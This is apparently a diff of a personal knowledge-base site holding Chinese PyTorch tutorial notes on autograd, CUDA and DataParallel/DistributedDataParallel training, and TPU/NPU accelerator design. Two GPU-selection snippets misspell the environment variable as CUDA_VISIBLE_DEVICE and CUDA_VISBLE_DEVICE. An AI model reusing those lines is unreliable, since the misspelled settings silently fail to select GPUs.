要阻止一个张量被跟踪历史,可以调用.detach()方法将其与计算历史分离,并阻止它未来的计算记录被跟踪。为了防止跟踪历史记录(和使用内存),可以将代码块包装在 with torch.no_grad(): 中。在评估模型时特别有用,因为模型可能具有 requires_grad = True 的可训练的参数,但是我们不需要在此过程中对他们进行梯度计算。

+

还有一个类对于autograd的实现非常重要:Function。Tensor 和 Function 互相连接生成了一个无环图 (acyclic graph),它编码了完整的计算历史。每个张量都有一个.grad_fn属性,该属性引用了创建 Tensor 自身的Function(除非这个张量是用户手动创建的,即这个张量的grad_fn是 None )。下面给出的例子中,张量由用户手动创建,因此grad_fn返回结果是None。

+
from __future__ import print_function
import torch
x = torch.randn(3,3,requires_grad=True)
print(x.grad_fn)
+
None
+

如果需要计算导数,可以在 Tensor 上调用 .backward()。如果 Tensor 是一个标量(即它包含一个元素的数据),则不需要为 backward() 指定任何参数,但是如果它有更多的元素,则需要指定一个gradient参数,该参数是形状匹配的张量。

+

创建一个张量并设置requires_grad=True用来追踪其计算历史

+
x = torch.ones(2, 2, requires_grad=True)
print(x)
+
tensor([[1., 1.],
[1., 1.]], requires_grad=True)
+

对这个张量做一次运算:

+
y = x**2
print(y)
+
tensor([[1., 1.],
[1., 1.]], grad_fn=<PowBackward0>)
+

y是计算的结果,所以它有grad_fn属性。

+
print(y.grad_fn)
+
<PowBackward0 object at 0x000001CB45988C70>
+

对 y 进行更多操作

+
z = y * y * 3
out = z.mean()

print(z, out)
+
tensor([[3., 3.],
[3., 3.]], grad_fn=<MulBackward0>) tensor(3., grad_fn=<MeanBackward0>)
+

.requires_grad_(...) 原地改变了现有张量的requires_grad标志。如果没有指定的话,默认输入的这个标志是 False。

+
a = torch.randn(2, 2) # 缺失情况下默认 requires_grad = False
a = ((a * 3) / (a - 1))
print(a.requires_grad)
a.requires_grad_(True)
print(a.requires_grad)
b = (a * a).sum()
print(b.grad_fn)
+
False
True
<SumBackward0 object at 0x000001CB4A19FB50>
+

2.2.1 梯度​

+

现在开始进行反向传播,因为 out 是一个标量,因此out.backward()和 out.backward(torch.tensor(1.)) 等价。

+
out.backward()
+

输出导数 d(out)/dx

+
print(x.grad)
+
tensor([[3., 3.],
[3., 3.]])
+

数学上,若有向量函数$\vec{y}=f(\vec{x})$,那么 $\vec{y}$ 关于 $\vec{x}$ 的梯度就是一个雅可比矩阵: +$ +J=\left(\begin{array}{ccc}\frac{\partial y_{1}}{\partial x_{1}} & \cdots & \frac{\partial y_{1}}{\partial x_{n}} \ \vdots & \ddots & \vdots \ \frac{\partial y_{m}}{\partial x_{1}} & \cdots & \frac{\partial y_{m}}{\partial x_{n}}\end{array}\right) +$ +而 torch.autograd 这个包就是用来计算一些雅可比矩阵的乘积的。例如,如果 $v$ 是一个标量函数 $l = g(\vec{y})$ 的梯度: +$ +v=\left(\begin{array}{lll}\frac{\partial l}{\partial y_{1}} & \cdots & \frac{\partial l}{\partial y_{m}}\end{array}\right) +$ +由链式法则,我们可以得到: +$ +v J=\left(\begin{array}{lll}\frac{\partial l}{\partial y_{1}} & \cdots & \frac{\partial l}{\partial y_{m}}\end{array}\right)\left(\begin{array}{ccc}\frac{\partial y_{1}}{\partial x_{1}} & \cdots & \frac{\partial y_{1}}{\partial x_{n}} \ \vdots & \ddots & \vdots \ \frac{\partial y_{m}}{\partial x_{1}} & \cdots & \frac{\partial y_{m}}{\partial x_{n}}\end{array}\right)=\left(\begin{array}{lll}\frac{\partial l}{\partial x_{1}} & \cdots & \frac{\partial l}{\partial x_{n}}\end{array}\right) +$

+

注意:grad在反向传播过程中是累加的(accumulated),这意味着每一次运行反向传播,梯度都会累加之前的梯度,所以一般在反向传播之前需把梯度清零。

+
# 再来反向传播⼀一次,注意grad是累加的
out2 = x.sum()
out2.backward()
print(x.grad)

out3 = x.sum()
x.grad.data.zero_()
out3.backward()
print(x.grad)
+
tensor([[4., 4.],
[4., 4.]])
tensor([[1., 1.],
[1., 1.]])
+

现在我们来看一个雅可比向量积的例子:

+
x = torch.randn(3, requires_grad=True)
print(x)

y = x * 2
i = 0
while y.data.norm() < 1000:
y = y * 2
i = i + 1
print(y)
print(i)
+
tensor([-0.9332,  1.9616,  0.1739], requires_grad=True)
tensor([-477.7843, 1004.3264, 89.0424], grad_fn=<MulBackward0>)
8
+

在这种情况下,y 不再是标量。torch.autograd 不能直接计算完整的雅可比矩阵,但是如果我们只想要雅可比向量积,只需将这个向量作为参数传给 backward:

+
v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float)
y.backward(v)

print(x.grad)
+
tensor([5.1200e+01, 5.1200e+02, 5.1200e-02])
+

也可以通过将代码块包装在 with torch.no_grad(): 中,来阻止 autograd 跟踪设置了.requires_grad=True的张量的历史记录。

+
print(x.requires_grad)
print((x ** 2).requires_grad)

with torch.no_grad():
print((x ** 2).requires_grad)
+
True
True
False
+

如果我们想要修改 tensor 的数值,但是又不希望被 autograd 记录(即不会影响反向传播), 那么我们可以对 tensor.data 进行操作。

+
x = torch.ones(1,requires_grad=True)

print(x.data) # 还是一个tensor
print(x.data.requires_grad) # 但是已经是独立于计算图之外

y = 2 * x
x.data *= 100 # 只改变了值,不会记录在计算图,所以不会影响梯度传播

y.backward()
print(x) # 更改data的值也会影响tensor的值
print(x.grad)
+
tensor([1.])
False
tensor([100.], requires_grad=True)
tensor([2.])
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html b/en/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html new file mode 100644 index 0000000..f050c20 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html @@ -0,0 +1,205 @@ + + + + + +2.3 并行计算简介.md | wjlin0 + + + + + + + +

2.3 并行计算简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.3 并行计算简介

+

在利用PyTorch做深度学习的过程中,可能会遇到数据量较大无法在单块GPU上完成,或者需要提升计算速度的场景,这时就需要用到并行计算。完成本节内容时,请你确保至少安装了一个NVIDIA GPU并安装了相关的驱动。

+

经过本节的学习,你将收获:

+
    +
  • 并行计算的简介
  • +
  • CUDA简介
  • +
  • 并行计算的三种实现方式
  • +
  • 使用CUDA加速训练
  • +
+

2.3.1 为什么要做并行计算​

+

深度学习的发展离不开算力的发展,GPU的出现让我们的模型可以训练的更快,更好。所以,如何充分利用GPU的性能来提高我们模型学习的效果,这一技能是我们必须要学习的。这一节,我们主要讲的就是PyTorch的并行计算。PyTorch可以在编写完模型之后,让多个GPU来参与训练,减少训练时间。你可以在命令行使用nvidia-smi命令来查看你的GPU信息和使用情况。

+

2.3.2 为什么需要CUDA​

+

CUDA是NVIDIA提供的一种GPU并行计算框架。对于GPU本身的编程,使用的是CUDA语言来实现的。但是,在我们使用PyTorch编写深度学习代码时,使用的CUDA又是另一个意思。在PyTorch使用 CUDA表示要开始要求我们的模型或者数据开始使用GPU了。

+

在编写程序中,当我们使用了 .cuda() 时,其功能是让我们的模型或者数据从CPU迁移到GPU上(默认是0号GPU)当中,通过GPU开始计算。

+

注:

+
    +
  1. 我们使用GPU时使用的是.cuda()而不是使用.gpu()。这是因为当前GPU的编程接口采用CUDA,但是市面上的GPU并不是都支持CUDA,只有部分NVIDIA的GPU才支持,AMD的GPU编程接口采用的是OpenCL,在现阶段PyTorch并不支持。
  2. +
  3. 数据在GPU和CPU之间进行传递时会比较耗时,我们应当尽量避免数据的切换。
  4. +
  5. GPU运算很快,但是在使用简单的操作时,我们应该尽量使用CPU去完成。
  6. +
  7. 当我们的服务器上有多个GPU,我们应该指明我们使用的GPU是哪一块,如果我们不设置的话,tensor.cuda()方法会默认将tensor保存到第一块GPU上,等价于tensor.cuda(0),这将有可能导致爆出out of memory的错误。我们可以通过以下两种方式继续设置。 +
      +
    1. +
       #设置在文件最开始部分
      import os
      os.environ["CUDA_VISIBLE_DEVICE"] = "2" # 设置默认的显卡
      +
    2. +
    3. +
       CUDA_VISBLE_DEVICE=0,1 python train.py # 使用0,1两块GPU
      +
    4. +
    +
  8. +
+

2.3.3 常见的并行的方法:​

+

网络结构分布到不同的设备中(Network partitioning)​

+

在刚开始做模型并行的时候,这个方案使用的比较多。其中主要的思路是,将一个模型的各个部分拆分,然后将不同的部分放入到GPU来做不同任务的计算。其架构如下:

+

模型并行.png

+

这里遇到的问题就是,不同模型组件在不同的GPU上时,GPU之间的传输就很重要,对于GPU之间的通信是一个考验。但是GPU的通信在这种密集任务中很难办到,所以这个方式慢慢淡出了视野。

+

同一层的任务分布到不同数据中(Layer-wise partitioning)​

+

第二种方式就是,同一层的模型做一个拆分,让不同的GPU去训练同一层模型的部分任务。其架构如下:

+

拆分.png

+

这样可以保证在不同组件之间传输的问题,但是在我们需要大量的训练,同步任务加重的情况下,会出现和第一种方式一样的问题。

+

不同的数据分布到不同的设备中,执行相同的任务(Data parallelism)​

+

第三种方式有点不一样,它的逻辑是,我不再拆分模型,我训练的时候模型都是一整个模型。但是我将输入的数据拆分。所谓的拆分数据就是,同一个模型在不同GPU中训练一部分数据,然后再分别计算一部分数据之后,只需要将输出的数据做一个汇总,然后再反传。其架构如下:

+

数据并行.png

+

这种方式可以解决之前模式遇到的通讯问题。现在的主流方式是数据并行的方式(Data parallelism)

+

2.3.4 使用CUDA加速训练​

+

单卡训练​

+

在PyTorch框架下,CUDA的使用变得非常简单,我们只需要显式的将数据和模型通过.cuda()方法转移到GPU上就可加速我们的训练。如下:

+
model = Net()
model.cuda() # 模型显示转移到CUDA上

for image,label in dataloader:
# 图像和标签显示转移到CUDA上
image = image.cuda()
label = label.cuda()
+

多卡训练​

+

PyTorch提供了两种多卡训练的方式,分别为DataParallel和DistributedDataParallel(以下我们分别简称为DP和DDP)。这两种方法中官方更推荐我们使用DDP,因为它的性能更好。但是DDP的使用比较复杂,而DP经需要改变几行代码既可以实现,所以我们这里先介绍DP,再介绍DDP。

+

单机多卡DP​

+

DP.png

+

首先我们来看单机多卡DP,通常使用一种叫做数据并行 (Data parallelism) 的策略,即将计算任务划分成多个子任务并在多个GPU卡上同时执行这些子任务。主要使用到了nn.DataParallel函数,它的使用非常简单,一般我们只需要加几行代码即可实现

+
model = Net()
model.cuda() # 模型显示转移到CUDA上

if torch.cuda.device_count() > 1: # 含有多张GPU的卡
model = nn.DataParallel(model) # 单机多卡DP训练
+

除此之外,我们也可以指定GPU进行并行训练,一般有两种方式

+
    +
  • +

    nn.DataParallel函数传入device_ids参数,可以指定了使用的GPU编号

    +
    model = nn.DataParallel(model, device_ids=[0,1]) # 使用第0和第1张卡进行并行训练
    +
  • +
  • +

    要手动指定对程序可见的GPU设备

    +
    os.environ["CUDA_VISIBLE_DEVICES"] = "1,2"
    +
  • +
+

多机多卡DDP​

+

DP.png

+

不过通过DP进行分布式多卡训练的方式容易造成负载不均衡,有可能第一块GPU显存占用更多,因为输出默认都会被gather到第一块GPU上。为此Pytorch也提供了torch.nn.parallel.DistributedDataParallel(DDP)方法来解决这个问题。

+

针对每个GPU,启动一个进程,然后这些进程在最开始的时候会保持一致(模型的初始化参数也一致,每个进程拥有自己的优化器),同时在更新模型的时候,梯度传播也是完全一致的,这样就可以保证任何一个GPU上面的模型参数就是完全一致的,所以这样就不会出现DataParallel那样显存不均衡的问题。不过相对应的,会比较麻烦,接下来介绍一下多机多卡DDP的使用方法。

+

开始之前需要先熟悉几个概念,这些还是有必要提一下的

+

进程组的相关概念

+
    +
  • GROUP:进程组,默认情况下,只有一个组,一个 job 即为一个组,也即一个 world。(当需要进行更加精细的通信时,可以通过 new_group 接口,使用 world 的子集,创建新组,用于集体通信等。)
  • +
  • WORLD_SIZE:表示全局进程个数。如果是多机多卡就表示机器数量,如果是单机多卡就表示 GPU 数量。
  • +
  • RANK:表示进程序号,用于进程间通讯,表征进程优先级。rank = 0 的主机为 master 节点。 如果是多机多卡就表示对应第几台机器,如果是单机多卡,由于一个进程内就只有一个 GPU,所以 rank 也就表示第几块 GPU。
  • +
  • LOCAL_RANK:表示进程内,GPU 编号,非显式参数,由 torch.distributed.launch 内部指定。例如,多机多卡中 rank = 3,local_rank = 0 表示第 3 个进程内的第 1 块 GPU。
  • +
+

DDP的基本用法 (代码编写流程)

+
    +
  • 在使用 distributed 包的任何其他函数之前,需要使用 init_process_group 初始化进程组,同时初始化 distributed 包。
  • +
  • 使用 torch.nn.parallel.DistributedDataParallel 创建 分布式模型 DDP(model, device_ids=device_ids)
  • +
  • 使用 torch.utils.data.distributed.DistributedSampler 创建 DataLoader
  • +
  • 使用启动工具 torch.distributed.launch 在每个主机上执行一次脚本,开始训练
  • +
+

首先是对代码进行修改,添加参数 --local_rank

+
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--local_rank", type=int) # 这个参数很重要
args = parser.parse_args()
+

这里的local_rank参数,可以理解为torch.distributed.launch在给一个GPU创建进程的时候,给这个进程提供的GPU号,这个是程序自动给的,不需要手动在命令行中指定这个参数。

+
local_rank = int(os.environ["LOCAL_RANK"]) #也可以自动获取
+

然后在所有和GPU相关代码的前面添加如下代码,如果不写这句代码,所有的进程都默认在你使用CUDA_VISIBLE_DEVICES参数设定的0号GPU上面启动

+
torch.cuda.set_device(args.local_rank) # 调整计算的位置
+

接下来我们得初始化backend,也就是俗称的后端,pytorch介绍了以下后端:

+

Backends.png

+

可以看到,提供了gloo,nccl,mpi,那么如何进行选择呢,官网中也给了以下建议

+
    +
  • +

    经验之谈

    +
      +
    • 如果是使用cpu的分布式计算, 建议使用gloo,因为表中可以看到 gloo对cpu的支持是最好的
    • +
    • 如果使用gpu进行分布式计算, 建议使用nccl。
    • +
    +
  • +
  • +

    GPU主机

    +
      +
    • InfiniBand连接,建议使用nccl,因为它是目前唯一支持 InfiniBand 和 GPUDirect 的后端。
    • +
    • Ethernet连接,建议使用nccl,因为它的分布式GPU训练性能目前是最好的,特别是对于多进程单节点或多节点分布式训练。 如果在使用 nccl时遇到任何问题,可以使用gloo 作为后备选项。 (不过注意,对于 GPU,gloo 目前的运行速度比 nccl 慢。)
    • +
    +
  • +
  • +

    CPU主机

    +
      +
    • InfiniBand连接,如果启用了IP over IB,那就使用gloo,否则使用mpi
    • +
    • Ethernet连接,建议使用gloo,除非有不得已的理由使用mpi。
    • +
    +
  • +
+

当后端选择好了之后, 我们需要设置一下网络接口, 因为多个主机之间肯定是使用网络进行交换, 那肯定就涉及到IP之类的, 对于nccl和gloo一般会自己寻找网络接口,不过有时候如果网卡比较多的时候,就需要自己设置,可以利用以下代码

+
import os
# 以下二选一, 第一个是使用gloo后端需要设置的, 第二个是使用nccl需要设置的
os.environ['GLOO_SOCKET_IFNAME'] = 'eth0'
os.environ['NCCL_SOCKET_IFNAME'] = 'eth0'
+
+

可以通过以下操作知道自己的网络接口,输入ifconfig, 然后找到自己IP地址的就是, 一般就是em0, eth0, esp2s0之类的,

+
+

从以上介绍我们可以看出, 当使用GPU的时候, nccl的效率是高于gloo的,我们一般还是会选择nccl后端,设置GPU之间通信使用的后端和端口:

+
# ps 检查nccl是否可用
# torch.distributed.is_nccl_available ()
torch.distributed.init_process_group(backend='nccl') # 选择nccl后端,初始化进程组
+

之后,使用 DistributedSampler 对数据集进行划分。它能帮助我们将每个 batch 划分成几个 partition,在当前进程中只需要获取和 rank 对应的那个 partition 进行训练:

+
# 创建Dataloader
train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)
train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=16, sampler=train_sampler)
+

注意: testset不用sampler

+

然后使用torch.nn.parallel.DistributedDataParallel包装模型:

+
# DDP进行训练
model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank])
+

如何启动DDP

+

那么如何启动DDP,这不同于DP的方式,需要使用torch.distributed.launch启动器,对于单机多卡的情况:

+
CUDA_VISIBLE_DEVICES=0,1,2,3 python -m torch.distributed.launch --nproc_per_node=4 main.py
# nproc_per_node: 这个参数是指你使用这台服务器上面的几张显卡
+
+

有时候虽然说,可以简单使用DP,但是DDP的效率是比DP高的,所以很多时候单机多卡的情况,我们还是会去使用DDP

+
+

DP 与 DDP 的优缺点​

+

DP 的优势​

+

nn.DataParallel没有改变模型的输入输出,因此其他部分的代码不需要做任何更改,非常方便,一行代码即可搞定。

+

DP 的缺点​

+

DP进行分布式多卡训练的方式容易造成负载不均衡,第一块GPU显存占用更多,因为输出默认都会被gather到第一块GPU上,也就是后续的loss计算只会在cuda:0上进行,没法并行。

+

除此之外DP只能在单机上使用,且DP是单进程多线程的实现方式,比DDP多进程多线程的方式会效率低一些。

+

DDP的优势​

+

1. 每个进程对应一个独立的训练过程,且只对梯度等少量数据进行信息交换。

+

DDP 在每次迭代中,每个进程具有自己的 optimizer ,并独立完成所有的优化步骤,进程内与一般的训练无异。

+

在各进程梯度计算完成之后,各进程需要将梯度进行汇总平均,然后再由 rank=0 的进程,将其 broadcast 到所有进程。之后,各进程用该梯度来独立的更新参数。而 DP是梯度汇总到主 GPU,反向传播更新参数,再广播参数给其他的 GPU。

+

DDP 中由于各进程中的模型,初始参数一致 (初始时刻进行一次 broadcast),而每次用于更新参数的梯度也一致,因此,各进程的模型参数始终保持一致。

+

而在DP 中,全程维护一个 optimizer,对各 GPU 上梯度进行求和,而在主 GPU 进行参数更新,之后再将模型参数 broadcast 到其他 GPU。

+

相较于**DP,DDP**传输的数据量更少,因此速度更快,效率更高。

+

2. 每个进程包含独立的解释器和 GIL。

+

一般使用的 Python 解释器 CPython:是用 C 语言实现 Pyhon,是目前应用最广泛的解释器。全局锁使 Python 在多线程效能上表现不佳,全局解释器锁(Global Interpreter Lock)是 Python 用于同步线程的工具,使得任何时刻仅有一个线程在执行。

+

由于每个进程拥有独立的解释器和 GIL,消除了来自单个 Python 进程中的多个执行线程,模型副本或 GPU 的额外解释器开销和 GIL-thrashing ,因此可以减少解释器和 GIL 使用冲突。这对于严重依赖 Python runtime 的 models 而言,比如说包含 RNN 层或大量小组件的 models 而言,这尤为重要。

+

DDP 的缺点​

+

暂时来说,DDP是采用多进程多线程的方式,并且训练速度较高,他的缺点主要就是,需要修改比较多的代码,比DP的一行代码较为繁琐许多。

+

参考资料:​

+
    +
  1. Pytorch 并行训练(DP, DDP)的原理和应用
  2. +
  3. Pytorch中单机多卡分布式训练
  4. +
  5. Training Neural Nets on Larger Batches: Practical Tips for 1-GPU, Multi-GPU & Distributed setups
  6. +
  7. DISTRIBUTEDDATAPARALLEL
  8. +
  9. Pytorch 分布式训练(DP/DDP)
  10. +
  11. DISTRIBUTED COMMUNICATION PACKAGE - TORCH.DISTRIBUTED
  12. +
  13. pytorch多gpu并行训练
  14. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html b/en/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html new file mode 100644 index 0000000..bd634db --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html @@ -0,0 +1,136 @@ + + + + + +2.4 AI硬件加速设备.md | wjlin0 + + + + + + + +

2.4 AI硬件加速设备.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

AI硬件加速设备

+

在进行模型部署和训练时,我们有时会受限于CPU和GPU的性能。这时,专用的AI芯片就显得尤为重要。在正式开始本节内容之前,我们先了解一下什么是CPU和GPU。

+

CPU即Central Processing Unit,中文名为中央处理器,是我们电脑中的核心配件。它的功能主要是处理指令、执行操作、控制时间、处理数据。

+

在现代计算机体系结构中,CPU 对计算机的所有硬件资源(如存储器、输入输出单元) 进行控制调配、执行通用运算的核心硬件单元。CPU 是计算机的运算和控制核心。计算机系统中所有软件层的操作,最终都将通过指令集映射为CPU的操作。

+

GPU即Graphics Processing Unit,中文名为图形处理单元。在传统的冯·诺依曼结构中,CPU 每执行一条指令都需要从存储器中读取数据,根据指令对数据进行相应的操作。从这个特点可以看出,CPU 的主要职责并不只是数据运算,还需要执行存储读取、指令分析、分支跳转等命令。深度学习算法通常需要进行海量的数据处理,用 CPU 执行算法时,CPU 将花费大量的时间在数据/指令的读取分析上,而 CPU的频率、内存的带宽等条件又不可能无限制提高,因此限制了处理器的性能。而 GPU 的控制相对简单,大部分的晶体管可以组成各类专用电路、多条流水线,使得 GPU 的计算速度远高于CPU;同时 GPU 拥有了更加强大的浮点运算能力,可以缓解深度学习算法的训练难题,释放人工智能的潜能。

+

需要注意的是,GPU没有独立工作的能力,必须由CPU进行控制调用才能工作,且GPU的功耗一般比较高。因此,随着人工智能的不断发展,高功耗低效率的GPU不再能满足AI训练的要求,为此,一大批功能相对单一,但速度更快的专用集成电路相继问世。接下来我们了解一下什么是专用集成电路:

+

专用集成电路(Application-Specific Integrated Circuit,ASIC)是专用定制芯片,即为实现特定要求而定制的芯片。定制的特性有助于提高 ASIC 的性能功耗比。ASIC的缺点是电路设计需要定制,相对开发周期长,功能难以扩展。但在功耗、可靠性、集成度等方面都有优势,尤其在要求高性能、低功耗的移动应用端体现明显。下文提到的谷歌的TPU,寒武纪的NPU都属于ASIC的范畴。

+

下面让我们进入本节的内容,经过本节的学习,你将收获:

+
    +
  • 什么是TPU
  • +
  • 什么是NPU
  • +
+

2.4.1 TPU​

+

TPU即Tensor Processing Unit,中文名为张量处理器。2006年,谷歌开始计划为神经网络构建一个专用的集成电路(ASIC)。随着计算需求和数据量的不断上涨,这个需求在2013年开始变得尤为紧迫。于是,谷歌在2015年6月的IO开发者大会上推出了为优化自身的TensorFlow框架而设计打造的一款计算神经网络专用芯片。它主要用于进行搜索,图像,语音等模型和技术的处理。

+

截至目前,谷歌已经发行了四代TPU芯片。

+

芯片架构设计​

+

TPU的设计架构如下图

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 1

+

由上图可见,整个TPU中最重要的计算单元是右上角黄色的矩阵乘单元“Matrix Multiply Unit”,它包含256x256个MAC部件,每一个能够执行有符号或者无符号的8位乘加操作。它的输入为权重数据队列FIFO和统一缓冲Unified Buffer,即图中指向它的两个蓝色部分。在计算结束后,16位结果被收集并传递到位于矩阵单元下方的4MiB 32位蓝色累加器Accumulators中,之后由黄色的激活单元在累加后执行非线性函数,并最终将数据返回给统一缓冲。

+

Matrix Multiply Unit矩阵处理器作为TPU的核心部分,它可以在单个时钟周期内处理数十万次矩阵(Matrix)运算。MMU有着与传统CPU、GPU截然不同的架构,称为脉动阵列(systolic array)。之所以叫“脉动”,是因为在这种结构中,数据一波一波地流过芯片,与心脏跳动供血的方式类似。而如下图所示,CPU和GPU在每次运算中都需要从多个寄存器(register)中进行存取,而TPU的脉动阵列将多个运算逻辑单元(ALU)串联在一起,复用从一个寄存器中读取的结果。每个ALU单元结构简单,一般只包含乘法器、加法器以及寄存器三部分,适合大量堆砌。

+

+

但是,在极大增加数据复用、降低内存带宽压力的同时,脉动阵列也有两个缺点,即数据重排和规模适配。第一,脉动矩阵主要实现向量/矩阵乘法。以CNN计算为例,CNN数据进入脉动阵列需要调整好形式,并且严格遵循时钟节拍和空间顺序输入。数据重排的额外操作增加了复杂性。第二,在数据流经整个阵列后,才能输出结果。当计算的向量中元素过少,脉动阵列规模过大时,不仅难以将阵列中的每个单元都利用起来,数据的导入和导出延时也随着尺寸扩大而增加,降低了计算效率。因此在确定脉动阵列的规模时,在考虑面积、能耗、峰值计算能力的同时,还要考虑典型应用下的效率。

+

技术特点​

+

AI加速专用​

+

TPU的架构属于Domain-specific Architecture,也就是特定领域架构。它的定位准确,架构简单,单线程控制,定制指令集使得它在深度学习运算方面效率极高,且容易扩展。相比之下,传统诸如CPU、GPU等通用处理器必须考虑灵活性和兼容性,有太重的包袱。但TPU这种特点也决定它只能被限制用于深度学习加速场景。

+

脉动阵列设计​

+

TPU采用了与传统CPU和GPU截然不同的脉动阵列(systolic array)结构来加速AI运算,脉动阵列能够在一个时钟周期内处理数十万次矩阵运算,在每次运算过程中,TPU能够将多个运算逻辑单元(ALU)串联在一起,并复用从一个寄存器中取得的结果。这种设计,不仅能够将数据复用实现最大化,减少芯片在运算过程中的内存访问次数,提高AI计算效率,同时也降低了内存带宽压力,进而降低内存访问的能耗。

+

MMU的脉动阵列包含256 × 256 = 65,536个ALU,也就是说TPU每个周期可以处理65,536次8位整数的乘法和加法。

+

TPU以700兆赫兹的功率运行,也就是说,它每秒可以运行65,536 × 700,000,000 = 46 × 1012次乘法和加法运算,或每秒92万亿(92 × 1012)次矩阵单元中的运算。

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 4

+

确定性功能和大规模片上内存​

+

如图是TPU的平面设计简图,黄色为MMU运算单元,蓝色是统一缓存和累加器等数据单元,绿色是I/O,红色是逻辑控制单元。

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 2

+

传统GPU由于片上内存较少,因此在运行过程中需要不断地去访问片外动态随机存取存储器(DRAM),从而在一定程度上浪费了不必要的能耗。与CPU和GPU相比,TPU的控制单元更小,更容易设计,面积只占了整个冲模的2%,给片上存储器和运算单元留下了更大的空间。如上图所示的TPU一代架构中,总共设计了占总芯片面积35%的内存,其中包括24MB的局部内存、4MB的累加器内存,以及用于与主控处理器对接的内存。这一比例大大超出了GPU等通用处理器,节约了大量片外数据访存能耗,使得TPU计算的能效比大大提高。从TPU二代开始采用HBM片上高带宽内存,虽然和最新一代GPU片上内存技术相同,但是TPU芯片的面积要远远小于GPU。硅片越小,成本越低,良品率也越高。

+

另外,由于TPU是一个单用途芯片,不需要考虑缓存、分支预测、多道处理等问题。这就意味着TPU的功能是单一且确定的。因此,我们可以使用TPU轻易的预测运行一个神经网络需要多长时间,这样我们就能让芯片以吞吐量接近峰值的状态运行,同时严格控制延迟。

+

2.4.2 NPU​

+

NPU即Neural-network Processing Unit,中文名为神经网络处理器,它采用“数据驱动并行计算”的架构,特别擅长处理视频、图像类的海量多媒体数据。

+

长期以来,应用需求一直牵动着嵌入式技术的发展方向。随着深度学习神经网络的兴起,人工智能、大数据时代的来临,CPU和GPU渐渐难以满足深度学习的需要,面对日渐旺盛的需求和广大的预期市场,设计一款专门用于神经网络深度学习的高效智能处理器显得十分必要,因此NPU应运而生。

+

从技术角度看,深度学习实际上是一类多层大规模人工神经网络。它模仿生物神经网络而构建,由若干人工神经元结点互联而成。神经元之间通过突触两两连接,突触记录了神经元间联系的权值强弱。由于深度学习的基本操作是神经元和突触的处理,神经网络中存储和处理是一体化的,都是通过突触权重来体现,而冯·诺伊曼结构中,存储和处理是分离的,分别由存储器和运算器来实现,二者之间存在巨大的差异。当用现有的基于冯·诺伊曼结构的经典计算机(如X86处理器和英伟达GPU)运行神经网络应用时,就不可避免地受到存储和处理分离式结构的制约,因而影响效率。因此,专门针对人工智能的专业芯片NPU更有研发的必要和需求。

+

在NPU的设计上,中国走在了世界前列。下面我们将以寒武纪的DianNao系列架构为例,来简要介绍NPU。

+

DianNao​

+

+

上图:DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning,figure 9

+

基于神经网络的人工智能算法,是模拟人类大脑内部神经元的结构。上图中的neuron代表的就是单个神经元,synapse代表神经元的突触。这个模型的工作模式,就要结合高中生物课的知识了。

+

一个神经元,有许多突触,给别的神经元传递信息。同样,这个神经元,也会接收来自许多其他神经元的信息。这个神经元所有接受到的信息累加,会有一个强烈程度,在生物上是以化学成分的形式存在,当这些信息达到一定的强烈程度,就会使整个神经元处于兴奋状态(激活),否则就是不兴奋(不激活)。如果兴奋了,就给其他神经元传递信息,如果不兴奋,就不传递。这就是单独一个神经元的工作模式。那么有成千上万个这样的神经元组合起来,就是一个神经网络模型。

+

那么DianNao是如何模拟神经元进行工作的呢,我们可以看看它的内部结构图:

+

+

上图:DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning,figure 11

+

如图所示,上图中浅蓝色的部分就是用硬件逻辑模拟的神经网络架构,称为NFU(Neural Functional Units)。它可以被细分为三个部分,即途中的NFU-1,NFU-2,和NFU-3。

+

NFU-1是乘法单元,它采用16bit定点数乘法器,1位符号位,5位整数位,10位小数位。该部分总计有256个乘法器。这些乘法器的计算是同时的,也就是说,在一个周期内可以执行256次乘法。

+

NFU-2是加法树,总计16个,每一个加法树都是8-4-2-1这样的组成结构,即就是每一个加法树中都有15个加法器。

+

NFU-3是非线性激活函数,该部分由分段线性近似实现非线性函数,根据前面两个单元计算得到的刺激量,从而判断是否需要激活操作。

+

当需要实现向量相乘和卷积运算时,使用NFU-1完成对应位置元素相乘,NFU-2完成相乘结果相加,最后由NFU-3完成激活函数映射。完成池化运算时,使用NFU-2完成多个元素取最大值或取平均值运算。由此分析,尽管该运算模块非常简单,也覆盖了神经网络所需要的大部分运算。

+

DaDianNao​

+

作为DianNao的多核升级版本,DaDianNao的运算单元NFU与DianNao基本相同,最大的区别是为了完成训练任务多加了几条数据通路,且配置更加灵活。NFU的尺寸为16x16,即16个输出神经元,每个输出神经元有16个输入(输入端需要一次提供256个数据)。同时,NFU可以可选的跳过一些步骤以达到灵活可配置的功能。DaDianNao的NFU结构如下所示:

+

+

上图:DaDianNao: A Machine-Learning Supercomputer,figure 6

+

ShiDianNao​

+

ShiDianNao是机器视觉专用加速器,集成了视频处理的部分,它也是DianNao系列中唯一一个考虑运算单元级数据重用的加速器,也是唯一使用二维运算阵列的加速器,其加速器的运算阵列结构如下所示:

+

+

上图:ShiDianNao: Shifting vision processing closer to the sensor,figure 5

+

